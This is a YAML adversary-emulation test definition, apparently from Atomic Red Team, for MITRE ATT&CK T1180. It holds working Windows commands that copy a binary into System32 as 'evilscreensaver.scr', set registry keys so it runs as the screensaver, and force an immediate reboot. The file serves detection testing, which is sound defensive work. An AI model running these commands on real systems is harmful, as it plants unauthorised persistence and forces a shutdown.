h00die
30 lines
1.1 KiB
YAML
30 lines
1.1 KiB
YAML
---
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attack_technique: T1180
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display_name: Screensaver
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atomic_tests:
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- name: Set Arbitrary Binary as Screensaver
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description: |
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This test copies a binary into the Windows System32 folder and sets it as the screensaver so it will execute for persistence. Requires a reboot and logon.
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supported_platforms:
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- windows
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input_arguments:
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input_binary:
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description: Executable binary to use in place of screensaver for persistence
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type: path
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default: C:\Windows\System32\cmd.exe
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executor:
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name: command_prompt
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elevation_required: true
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command: |
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copy #{input_binary} "%SystemRoot%\System32\evilscreensaver.scr"
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reg.exe add "HKEY_CURRENT_USER\Control Panel\Desktop" /v ScreenSaveActive /t REG_SZ /d 1 /f
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reg.exe add "HKEY_CURRENT_USER\Control Panel\Desktop" /v ScreenSaveTimeout /t REG_SZ /d 60 /f
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reg.exe add "HKEY_CURRENT_USER\Control Panel\Desktop" /v ScreenSaverIsSecure /t REG_SZ /d 0 /f
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reg.exe add "HKEY_CURRENT_USER\Control Panel\Desktop" /v SCRNSAVE.EXE /t REG_SZ /d "%SystemRoot%\System32\evilscreensaver.scr" /f
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shutdown /r /t 0
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